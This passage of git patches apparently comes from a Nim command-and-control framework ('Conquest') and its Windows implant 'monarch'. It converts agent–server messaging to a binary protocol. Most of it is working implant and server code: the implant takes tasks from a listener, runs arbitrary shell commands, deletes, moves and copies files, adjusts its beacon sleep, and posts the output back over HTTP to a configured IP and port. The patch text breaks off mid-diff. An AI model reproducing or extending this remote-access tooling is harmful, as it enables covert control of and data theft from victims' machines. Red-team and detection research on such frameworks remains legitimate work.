+ return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes())
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-# # Remove file
-# proc taskRm*(task: Task): TaskResult =
-# # Parse arguments
-# let target = parseJson(task.args)["file"].getStr()
+# Remove file
+proc taskRm*(config: AgentConfig, task: Task): TaskResult =
-# echo fmt"Deleting file {target}."
+ # Parse arguments
+ let target = task.args[0].data.toString()
-# try:
-# if DeleteFile(target) == FALSE:
-# raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
+ echo fmt" [>] Deleting file {target}."
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(""),
-# status: Completed
-# )
+ try:
+ if DeleteFile(target) == FALSE:
+ raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).")
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-# # Remove directory
-# proc taskRmdir*(task: Task): TaskResult =
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
+
-# # Parse arguments
-# let target = parseJson(task.args)["directory"].getStr()
+# Remove directory
+proc taskRmdir*(config: AgentConfig, task: Task): TaskResult =
-# echo fmt"Deleting directory {target}."
+ # Parse arguments
+ let target = task.args[0].data.toString()
-# try:
-# if RemoveDirectoryA(target) == FALSE:
-# raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
+ echo fmt" [>] Deleting directory {target}."
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(""),
-# status: Completed
-# )
+ try:
+ if RemoveDirectoryA(target) == FALSE:
+ raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).")
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-# # Move file or directory
-# proc taskMove*(task: Task): TaskResult =
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-# # Parse arguments
-# echo task.args
-# let
-# params = parseJson(task.args)
-# lpExistingFileName = params["from"].getStr()
-# lpNewFileName = params["to"].getStr()
+# Move file or directory
+proc taskMove*(config: AgentConfig, task: Task): TaskResult =
-# echo fmt"Moving {lpExistingFileName} to {lpNewFileName}."
+ # Parse arguments
+ let
+ lpExistingFileName = task.args[0].data.toString()
+ lpNewFileName = task.args[1].data.toString()
-# try:
-# if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
-# raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
+ echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}."
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(""),
-# status: Completed
-# )
+ try:
+ if MoveFile(lpExistingFileName, lpNewFileName) == FALSE:
+ raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).")
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-# # Copy file or directory
-# proc taskCopy*(task: Task): TaskResult =
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
-# # Parse arguments
-# let
-# params = parseJson(task.args)
-# lpExistingFileName = params["from"].getStr()
-# lpNewFileName = params["to"].getStr()
-# echo fmt"Copying {lpExistingFileName} to {lpNewFileName}."
+# Copy file or directory
+proc taskCopy*(config: AgentConfig, task: Task): TaskResult =
-# try:
-# # Copy file to new location, overwrite if a file with the same name already exists
-# if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
-# raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
+ # Parse arguments
+ let
+ lpExistingFileName = task.args[0].data.toString()
+ lpNewFileName = task.args[1].data.toString()
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(""),
-# status: Completed
-# )
+ echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}."
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
\ No newline at end of file
+ try:
+ # Copy file to new location, overwrite if a file with the same name already exists
+ if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE:
+ raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).")
+
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
+
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
diff --git a/src/agents/monarch/commands/shell.nim b/src/agents/monarch/commands/shell.nim
index bb8706f..14cbf41 100644
--- a/src/agents/monarch/commands/shell.nim
+++ b/src/agents/monarch/commands/shell.nim
@@ -1,30 +1,35 @@
-import winim, osproc, strutils, strformat, base64, json
+import winim, osproc, strutils, strformat
-import ../common/types
+import ../task/result
+import ../[utils, agentTypes]
+import ../../../common/types
-proc taskShell*(task: Task): TaskResult =
+proc taskShell*(config: AgentConfig, task: Task): TaskResult =
- # # Parse arguments JSON string to obtain specific values
- # let
- # params = parseJson(task.args)
- # command = params["command"].getStr()
- # arguments = params["arguments"].getStr()
+ try:
+ var
+ command: string
+ arguments: string
- # echo fmt"Executing command {command} with arguments {arguments}"
+ # Parse arguments
+ case int(task.argCount):
+ of 1: # Only the command has been passed as an argument
+ command = task.args[0].data.toString()
+ arguments = ""
+ of 2: # The optional 'arguments' parameter was included
+ command = task.args[0].data.toString()
+ arguments = task.args[1].data.toString()
+ else:
+ discard
- # try:
- # let (output, status) = execCmdEx(fmt("{command} {arguments}"))
- # return TaskResult(
- # task: task.id,
- # agent: task.agent,
- # data: encode(output),
- # status: Completed
- # )
+ echo fmt" [>] Executing: {command} {arguments}."
- # except CatchableError as err:
- # return TaskResult(
- # task: task.id,
- # agent: task.agent,
- # data: encode(fmt"An error occured: {err.msg}" & "\n"),
- # status: Failed
- # )
+ let (output, status) = execCmdEx(fmt("{command} {arguments}"))
+
+ if output != "":
+ return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes())
+ else:
+ return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[])
+
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
diff --git a/src/agents/monarch/commands/sleep.nim b/src/agents/monarch/commands/sleep.nim
index 0d8ccb8..c1d4331 100644
--- a/src/agents/monarch/commands/sleep.nim
+++ b/src/agents/monarch/commands/sleep.nim
@@ -1,27 +1,23 @@
-# import os, strutils, strformat, base64, json
+import os, strutils, strformat
-# import ../common/types
+import ../[agentTypes, utils]
+import ../task/result
+import ../../../common/[types, serialize]
-# proc taskSleep*(task: Task): TaskResult =
+proc taskSleep*(config: AgentConfig, task: Task): TaskResult =
-# # Parse task parameter
-# let delay = parseJson(task.args)["delay"].getInt()
+ try:
+ # Parse task parameter
+ let delay = int(task.args[0].data.toUint32())
-# echo fmt"Sleeping for {delay} seconds."
+ echo fmt" [>] Sleeping for {delay} seconds."
+
+ sleep(delay * 1000)
+
+ # Updating sleep in agent config
+ config.sleep = delay
+
+ return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
-# try:
-# sleep(delay * 1000)
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(""),
-# status: Completed
-# )
-
-# except CatchableError as err:
-# return TaskResult(
-# task: task.id,
-# agent: task.agent,
-# data: encode(fmt"An error occured: {err.msg}" & "\n"),
-# status: Failed
-# )
\ No newline at end of file
+ except CatchableError as err:
+ return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
diff --git a/src/agents/monarch/http.nim b/src/agents/monarch/http.nim
index 9f4cbaa..527e322 100644
--- a/src/agents/monarch/http.nim
+++ b/src/agents/monarch/http.nim
@@ -1,6 +1,7 @@
import httpclient, json, strformat, asyncdispatch
-import ./[types, utils, agentinfo]
+import ./[agentTypes, utils, agentInfo]
+import ../../common/types
proc register*(config: AgentConfig): string =
@@ -44,32 +45,36 @@ proc getTasks*(config: AgentConfig, agent: string): string =
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
- echo "[-] [getTasks]: Listener not reachable."
+ echo "[-] [getTasks]: " & err.msg
finally:
client.close()
return ""
-proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool =
+proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[byte]): bool =
- # let client = newAsyncHttpClient()
+ let client = newAsyncHttpClient()
- # # Define headers
- # client.headers = newHttpHeaders({ "Content-Type": "application/json" })
+ # Define headers
+ client.headers = newHttpHeaders({
+ "Content-Type": "application/octet-stream",
+ "Content-Length": $resultData.len
+ })
- # let taskJson = %taskResult
+ let body = resultData.toString()
- # echo $taskJson
+ echo body
- # try:
- # # Register agent to the Conquest server
- # discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson)
- # except CatchableError as err:
- # # When the listener is not reachable, don't kill the application, but check in at the next time
- # echo "[-] [postResults]: ", err.msg
- # return false
- # finally:
- # client.close()
+ try:
+ # Send binary task result data to server
+ discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{uuidToString(taskResult.listenerId)}/{uuidToString(taskResult.agentId)}/{uuidToString(taskResult.taskId)}/results", body)
+
+ except CatchableError as err:
+ # When the listener is not reachable, don't kill the application, but check in at the next time
+ echo "[-] [postResults]: " & err.msg
+ return false
+ finally:
+ client.close()
return true
\ No newline at end of file
diff --git a/src/agents/monarch/monarch.nim b/src/agents/monarch/monarch.nim
index 67e5760..8982b8d 100644
--- a/src/agents/monarch/monarch.nim
+++ b/src/agents/monarch/monarch.nim
@@ -1,8 +1,9 @@
import strformat, os, times
import winim
-import ./[types, http]
-import task/handler, task/parser
+import ./[agentTypes, http]
+import task/handler, task/packer
+import ../../common/types
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
@@ -73,8 +74,13 @@ proc main() =
# Execute all retrieved tasks and return their output to the server
for task in tasks:
- let result: TaskResult = config.handleTask(task)
- discard config.postResults(agent, result)
+ let
+ result: TaskResult = config.handleTask(task)
+ resultData: seq[byte] = serializeTaskResult(result)
+
+ echo resultData
+
+ discard config.postResults(result, resultData)
when isMainModule:
main()
\ No newline at end of file
diff --git a/src/agents/monarch/task/handler.nim b/src/agents/monarch/task/handler.nim
index c2754c9..132d390 100644
--- a/src/agents/monarch/task/handler.nim
+++ b/src/agents/monarch/task/handler.nim
@@ -1,37 +1,22 @@
import strutils, tables, json
-import ../types
+import ../agentTypes
import ../commands/commands
+import ../../../common/types
import sugar
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
- dump task
-
- # var taskResult = TaskResult
- # let handlers = {
- # CMD_SLEEP: taskSleep,
- # CMD_SHELL: taskShell,
- # CMD_PWD: taskPwd,
- # CMD_CD: taskCd,
- # CMD_LS: taskDir,
- # CMD_RM: taskRm,
- # CMD_RMDIR: taskRmdir,
- # CMD_MOVE: taskMove,
- # CMD_COPY: taskCopy
- # }.toTable
+ let handlers = {
+ CMD_SLEEP: taskSleep,
+ CMD_SHELL: taskShell,
+ CMD_PWD: taskPwd,
+ CMD_CD: taskCd,
+ CMD_LS: taskDir,
+ CMD_RM: taskRm,
+ CMD_RMDIR: taskRmdir,
+ CMD_MOVE: taskMove,
+ CMD_COPY: taskCopy
+ }.toTable
# Handle task command
- # taskResult = handlers[task.command](task)
- # echo taskResult.data
-
- # Handle actions on specific commands
- # case task.command:
- # of CMD_SLEEP:
- # if taskResult.status == STATUS_COMPLETED:
- # # config.sleep = parseJson(task.args)["delay"].getInt()
- # discard
- # else:
- # discard
-
- # # Return the result
- # return taskResult
\ No newline at end of file
+ return handlers[cast[CommandType](task.command)](config, task)
\ No newline at end of file
diff --git a/src/agents/monarch/task/parser.nim b/src/agents/monarch/task/packer.nim
similarity index 63%
rename from src/agents/monarch/task/parser.nim
rename to src/agents/monarch/task/packer.nim
index 3b19e1c..12f7d40 100644
--- a/src/agents/monarch/task/parser.nim
+++ b/src/agents/monarch/task/packer.nim
@@ -1,9 +1,7 @@
import strutils, strformat
-import ../types
-import ../utils
-import ../../../common/types
-import ../../../common/serialize
+import ../[agentTypes, utils]
+import ../../../common/[types, serialize]
proc deserializeTask*(bytes: seq[byte]): Task =
@@ -41,12 +39,13 @@ proc deserializeTask*(bytes: seq[byte]): Task =
command = unpacker.getUint16()
var argCount = unpacker.getUint8()
- var args = newSeq[TaskArg](argCount)
+ var args = newSeq[TaskArg]()
# Parse arguments
- while argCount > 0:
+ var i = 0
+ while i < int(argCount):
args.add(unpacker.getArgument())
- dec argCount
+ inc i
return Task(
header: Header(
@@ -87,4 +86,47 @@ proc deserializePacket*(packet: string): seq[Task] =
result.add(deserializeTask(taskBytes))
- dec taskCount
\ No newline at end of file
+ dec taskCount
+
+proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
+
+ var packer = initPacker()
+
+ # Serialize result body
+ packer
+ .add(taskResult.taskId)
+ .add(taskResult.agentId)
+ .add(taskResult.listenerId)
+ .add(taskResult.timestamp)
+ .add(taskResult.command)
+ .add(taskResult.status)
+ .add(taskResult.resultType)
+ .add(taskResult.length)
+
+ if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT:
+ packer.addData(taskResult.data)
+
+ let body = packer.pack()
+ packer.reset()
+
+ # TODO: Encrypt result body
+
+ # Serialize header
+ packer
+ .add(taskResult.header.magic)
+ .add(taskResult.header.version)
+ .add(taskResult.header.packetType)
+ .add(taskResult.header.flags)
+ .add(taskResult.header.seqNr)
+ .add(cast[uint32](body.len))
+ .addData(taskResult.header.hmac)
+
+ let header = packer.pack()
+
+ # TODO: Calculate and patch HMAC
+
+ return header & body
+
+
+
+
diff --git a/src/agents/monarch/task/result.nim b/src/agents/monarch/task/result.nim
new file mode 100644
index 0000000..5e823ae
--- /dev/null
+++ b/src/agents/monarch/task/result.nim
@@ -0,0 +1,25 @@
+import times
+import ../../../common/types
+
+proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
+
+ return TaskResult(
+ header: Header(
+ magic: MAGIC,
+ version: VERSION,
+ packetType: cast[uint8](MSG_RESPONSE),
+ flags: cast[uint16](FLAG_PLAINTEXT),
+ seqNr: 1'u32, # TODO: Implement sequence tracking
+ size: 0'u32,
+ hmac: default(array[16, byte])
+ ),
+ taskId: task.taskId,
+ agentId: task.agentId,
+ listenerId: task.listenerId,
+ timestamp: uint32(now().toTime().toUnix()),
+ command: task.command,
+ status: cast[uint8](status),
+ resultType: cast[uint8](resultType),
+ length: uint32(resultData.len),
+ data: resultData,
+ )
\ No newline at end of file
diff --git a/src/agents/monarch/utils.nim b/src/agents/monarch/utils.nim
index 601e04f..5e2c977 100644
--- a/src/agents/monarch/utils.nim
+++ b/src/agents/monarch/utils.nim
@@ -1,5 +1,5 @@
-import strformat
-import ./types
+import strformat, strutils
+import ./agentTypes
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
let
@@ -67,4 +67,24 @@ proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): strin
proc toString*(data: seq[byte]): string =
result = newString(data.len)
for i, b in data:
- result[i] = char(b)
\ No newline at end of file
+ result[i] = char(b)
+
+proc toBytes*(data: string): seq[byte] =
+ result = newSeq[byte](data.len)
+ for i, c in data:
+ result[i] = byte(c.ord)
+
+proc uuidToUint32*(uuid: string): uint32 =
+ return fromHex[uint32](uuid)
+
+proc uuidToString*(uuid: uint32): string =
+ return uuid.toHex(8)
+
+proc toUint32*(data: seq[byte]): uint32 =
+ if data.len != 4:
+ raise newException(ValueError, "Expected 4 bytes for uint32")
+
+ return uint32(data[0]) or
+ (uint32(data[1]) shl 8) or
+ (uint32(data[2]) shl 16) or
+ (uint32(data[3]) shl 24)
\ No newline at end of file
diff --git a/src/common/serialize.nim b/src/common/serialize.nim
index 8d184b0..ee6f0a7 100644
--- a/src/common/serialize.nim
+++ b/src/common/serialize.nim
@@ -5,7 +5,7 @@ type
Packer* = ref object
stream: StringStream
-proc initTaskPacker*(): Packer =
+proc initPacker*(): Packer =
result = new Packer
result.stream = newStringStream()
@@ -25,8 +25,8 @@ proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} =
packer.add(arg.argType)
- case arg.argType:
- of cast[uint8](STRING), cast[uint8](BINARY):
+ case cast[ArgType](arg.argType):
+ of STRING, BINARY:
# Add length for variable-length data types
packer.add(cast[uint32](arg.data.len))
packer.addData(arg.data)
@@ -76,6 +76,10 @@ proc getUint64*(unpacker: Unpacker): uint64 =
unpacker.position += 8
proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
+
+ if length <= 0:
+ return @[]
+
result = newSeq[byte](length)
let bytesRead = unpacker.stream.readData(result[0].addr, length)
unpacker.position += bytesRead
@@ -86,16 +90,16 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] =
proc getArgument*(unpacker: Unpacker): TaskArg =
result.argType = unpacker.getUint8()
- case result.argType:
- of cast[uint8](STRING), cast[uint8](BINARY):
+ case cast[ArgType](result.argType):
+ of STRING, BINARY:
# Variable-length fields are prefixed with the content-length
let length = unpacker.getUint32()
result.data = unpacker.getBytes(int(length))
- of cast[uint8](INT):
+ of INT:
result.data = unpacker.getBytes(4)
- of cast[uint8](LONG):
+ of LONG:
result.data = unpacker.getBytes(8)
- of cast[uint8](BOOL):
+ of BOOL:
result.data = unpacker.getBytes(1)
else:
discard
\ No newline at end of file
diff --git a/src/common/types.nim b/src/common/types.nim
index 34ad10c..0164b03 100644
--- a/src/common/types.nim
+++ b/src/common/types.nim
@@ -45,6 +45,7 @@ type
ResultType* = enum
RESULT_STRING = 0'u8
RESULT_BINARY = 1'u8
+ RESULT_NO_OUTPUT = 2'u8
Header* = object
magic*: uint32 # [4 bytes ] magic value
@@ -124,7 +125,7 @@ type
elevated*: bool
sleep*: int
jitter*: float
- tasks*: seq[seq[byte]]
+ tasks*: seq[Task]
firstCheckin*: DateTime
latestCheckin*: DateTime
diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim
index 951a91e..1d33638 100644
--- a/src/server/api/handlers.nim
+++ b/src/server/api/handlers.nim
@@ -2,6 +2,7 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys
import ../[utils, globals]
import ../db/database
+import ../task/packer
import ../../common/types
# Utility functions
@@ -40,6 +41,8 @@ proc getTasks*(listener, agent: string): seq[seq[byte]] =
{.cast(gcsafe).}:
+ var result: seq[seq[byte]]
+
# Check if listener exists
if not cq.dbListenerExists(listener.toUpperAscii):
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n")
@@ -55,40 +58,47 @@ proc getTasks*(listener, agent: string): seq[seq[byte]] =
# if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")):
# return nil
- # Return tasks
- return cq.agents[agent.toUpperAscii].tasks
+ # Return tasks
+ for task in cq.agents[agent.toUpperAscii].tasks:
+ let taskData = serializeTask(task)
+ result.add(taskData)
+
+ return result
-proc handleResult*(listener, agent, task: string, taskResult: TaskResult) =
+proc handleResult*(resultData: seq[byte]) =
{.cast(gcsafe).}:
+ let
+ taskResult = deserializeTaskResult(resultData)
+ taskId = uuidToString(taskResult.taskId)
+ agentId = uuidToString(taskResult.agentId)
+ listenerId = uuidToString(taskResult.listenerId)
+
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"{$resultData.len} bytes received.")
- if taskResult.status == cast[uint8](STATUS_FAILED):
- cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {task} failed.")
+ case cast[StatusType](taskResult.status):
+ of STATUS_COMPLETED:
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {taskId} completed.")
- if taskResult.data.len != 0:
- cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, "Output:")
+ of STATUS_FAILED:
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgRed, styleBright, " [-] ", resetStyle, fmt"Task {taskId} failed.")
+ case cast[ResultType](taskResult.resultType):
+ of RESULT_STRING:
+ if int(taskResult.length) > 0:
+ cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, "Output:")
# Split result string on newline to keep formatting
- # for line in decode(taskResult.data).split("\n"):
- # cq.writeLine(line)
- else:
- cq.writeLine()
+ for line in taskResult.data.toString().split("\n"):
+ cq.writeLine(line)
- else:
- cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, fmt"Task {task} finished.")
-
- if taskResult.data.len != 0:
- cq.writeLine(fgBlack, styleBright, fmt"[{date}]", fgGreen, " [+] ", resetStyle, "Output:")
+ of RESULT_BINARY:
+ # Write binary data to a file
+ cq.writeLine()
- # Split result string on newline to keep formatting
- # for line in decode(taskResult.data).split("\n"):
- # cq.writeLine(line)
- else:
- cq.writeLine()
+ of RESULT_NO_OUTPUT:
+ cq.writeLine()
# Update task queue to include all tasks, except the one that was just completed
- # cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task)
-
- return
\ No newline at end of file
+ cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
\ No newline at end of file
diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim
index 500e0bd..eafdd51 100644
--- a/src/server/api/routes.nim
+++ b/src/server/api/routes.nim
@@ -94,7 +94,7 @@ proc getTasks*(ctx: Context) {.async.} =
try:
var response: seq[byte]
- let tasks = getTasks(listener, agent)
+ let tasks: seq[seq[byte]] = getTasks(listener, agent)
if tasks.len <= 0:
resp "", Http200
@@ -134,21 +134,15 @@ proc postResults*(ctx: Context) {.async.} =
task = ctx.getPathParams("task")
# Check headers
- # If POST data is not JSON data, return 404 error code
- if ctx.request.contentType != "application/json":
+ # If POST data is not binary data, return 404 error code
+ if ctx.request.contentType != "application/octet-stream":
resp "", Http404
return
try:
- let
- taskResultJson: JsonNode = parseJson(ctx.request.body)
- taskResult: TaskResult = taskResultJson.to(TaskResult)
-
- # Handle and display task result
- handleResult(listener, agent, task, taskResult)
+ handleResult(ctx.request.body.toBytes())
except CatchableError:
- # JSON data is invalid or does not match the expected format (described above)
resp "", Http404
return
\ No newline at end of file
diff --git a/src/server/task/dispatcher.nim b/src/server/task/dispatcher.nim
index 7e0caa7..c98d4b7 100644
--- a/src/server/task/dispatcher.nim
+++ b/src/server/task/dispatcher.nim
@@ -1,5 +1,5 @@
import times, strformat, terminal, tables, json, sequtils, strutils
-import ./[parser, packer]
+import ./[parser]
import ../utils
import ../../common/types
@@ -177,12 +177,9 @@ proc handleAgentCommand*(cq: Conquest, input: string) =
let
command = getCommandFromTable(parsedArgs[0], commands)
task = cq.parseTask(command, parsedArgs[1..^1])
- taskData: seq[byte] = cq.serializeTask(task)
-
- # cq.writeLine(taskData.toHexDump())
# Add task to queue
- cq.interactAgent.tasks.add(taskData)
+ cq.interactAgent.tasks.add(task)
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, fmt"Tasked agent to {command.description.toLowerAscii()}")
except CatchableError:
diff --git a/src/server/task/packer.nim b/src/server/task/packer.nim
index 68c829e..df09183 100644
--- a/src/server/task/packer.nim
+++ b/src/server/task/packer.nim
@@ -3,9 +3,9 @@ import ../utils
import ../../common/types
import ../../common/serialize
-proc serializeTask*(cq: Conquest, task: Task): seq[byte] =
+proc serializeTask*(task: Task): seq[byte] =
- var packer = initTaskPacker()
+ var packer = initPacker()
# Serialize payload
packer
@@ -39,3 +39,63 @@ proc serializeTask*(cq: Conquest, task: Task): seq[byte] =
# TODO: Calculate and patch HMAC
return header & payload
+
+proc deserializeTaskResult*(resultData: seq[byte]): TaskResult =
+
+ var unpacker = initUnpacker(resultData.toString)
+
+ let
+ magic = unpacker.getUint32()
+ version = unpacker.getUint8()
+ packetType = unpacker.getUint8()
+ flags = unpacker.getUint16()
+ seqNr = unpacker.getUint32()
+ size = unpacker.getUint32()
+ hmacBytes = unpacker.getBytes(16)
+
+ # Explicit conversion from seq[byte] to array[16, byte]
+ var hmac: array[16, byte]
+ copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
+
+ # Packet Validation
+ if magic != MAGIC:
+ raise newException(CatchableError, "Invalid magic bytes.")
+
+ # TODO: Validate sequence number
+
+ # TODO: Validate HMAC
+
+ # TODO: Decrypt payload
+ # let payload = unpacker.getBytes(size)
+
+ let
+ taskId = unpacker.getUint32()
+ agentId = unpacker.getUint32()
+ listenerId = unpacker.getUint32()
+ timestamp = unpacker.getUint32()
+ command = unpacker.getUint16()
+ status = unpacker.getUint8()
+ resultType = unpacker.getUint8()
+ length = unpacker.getUint32()
+ data = unpacker.getBytes(int(length))
+
+ return TaskResult(
+ header: Header(
+ magic: magic,
+ version: version,
+ packetType: packetType,
+ flags: flags,
+ seqNr: seqNr,
+ size: size,
+ hmac: hmac
+ ),
+ taskId: taskId,
+ agentId: agentId,
+ listenerId: listenerId,
+ timestamp: timestamp,
+ command: command,
+ status: status,
+ resultType: resultType,
+ length: length,
+ data: data
+ )
\ No newline at end of file
diff --git a/src/server/utils.nim b/src/server/utils.nim
index b6cb842..12bd1df 100644
--- a/src/server/utils.nim
+++ b/src/server/utils.nim
@@ -31,6 +31,11 @@ proc toString*(data: seq[byte]): string =
for i, b in data:
result[i] = char(b)
+proc toBytes*(data: string): seq[byte] =
+ result = newSeq[byte](data.len)
+ for i, c in data:
+ result[i] = byte(c.ord)
+
proc toHexDump*(data: seq[byte]): string =
for i, b in data:
result.add(b.toHex(2))
From 9f15026fd1f35346300f65bb6ef04ca023b62ee2 Mon Sep 17 00:00:00 2001
From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com>
Date: Mon, 21 Jul 2025 22:07:25 +0200
Subject: [PATCH 4/4] Implemented agent registration to match new binary
structure instead of json.
---
src/agents/monarch/agentTypes.nim | 3 +-
src/agents/monarch/commands/filesystem.nim | 6 +-
src/agents/monarch/commands/shell.nim | 6 +-
src/agents/monarch/commands/sleep.nim | 7 +-
src/agents/monarch/{ => core}/http.nim | 50 ++++----
.../{agentinfo.nim => core/metadata.nim} | 93 +++++++++++++-
src/agents/monarch/{task => core}/packer.nim | 36 +++++-
.../{task/handler.nim => core/task.nim} | 6 +-
.../{task/result.nim => core/taskresult.nim} | 4 +-
src/agents/monarch/monarch.nim | 29 +++--
src/agents/monarch/nim.cfg | 14 +--
src/agents/monarch/utils.nim | 90 --------------
src/common/serialize.nim | 29 ++++-
src/common/types.nim | 38 +++---
src/common/utils.nim | 53 ++++++++
src/server/api/handlers.nim | 24 ++--
src/server/api/routes.nim | 115 ++++++++----------
src/server/core/agent.nim | 12 +-
src/server/core/listener.nim | 10 +-
src/server/core/server.nim | 2 +-
src/server/db/database.nim | 2 +-
src/server/db/dbAgent.nim | 16 +--
src/server/db/dbListener.nim | 2 +-
src/server/globals.nim | 2 +-
src/server/task/dispatcher.nim | 4 +-
src/server/task/packer.nim | 69 ++++++++++-
src/server/task/parser.nim | 6 +-
src/server/utils.nim | 51 +-------
28 files changed, 452 insertions(+), 327 deletions(-)
rename src/agents/monarch/{ => core}/http.nim (53%)
rename src/agents/monarch/{agentinfo.nim => core/metadata.nim} (58%)
rename src/agents/monarch/{task => core}/packer.nim (74%)
rename src/agents/monarch/{task/handler.nim => core/task.nim} (92%)
rename src/agents/monarch/{task/result.nim => core/taskresult.nim} (93%)
delete mode 100644 src/agents/monarch/utils.nim
create mode 100644 src/common/utils.nim
diff --git a/src/agents/monarch/agentTypes.nim b/src/agents/monarch/agentTypes.nim
index 4585648..6a7f820 100644
--- a/src/agents/monarch/agentTypes.nim
+++ b/src/agents/monarch/agentTypes.nim
@@ -23,7 +23,8 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "".} =
type
AgentConfig* = ref object
- listener*: string
+ agentId*: string
+ listenerId*: string
ip*: string
port*: int
sleep*: int
\ No newline at end of file
diff --git a/src/agents/monarch/commands/filesystem.nim b/src/agents/monarch/commands/filesystem.nim
index 8974dd8..39b1028 100644
--- a/src/agents/monarch/commands/filesystem.nim
+++ b/src/agents/monarch/commands/filesystem.nim
@@ -1,8 +1,8 @@
import os, strutils, strformat, winim, times, algorithm
-import ../[agentTypes, utils]
-import ../task/result
-import ../../../common/types
+import ../agentTypes
+import ../core/taskresult
+import ../../../common/[types, utils]
# Retrieve current working directory
proc taskPwd*(config: AgentConfig, task: Task): TaskResult =
diff --git a/src/agents/monarch/commands/shell.nim b/src/agents/monarch/commands/shell.nim
index 14cbf41..198d40f 100644
--- a/src/agents/monarch/commands/shell.nim
+++ b/src/agents/monarch/commands/shell.nim
@@ -1,8 +1,8 @@
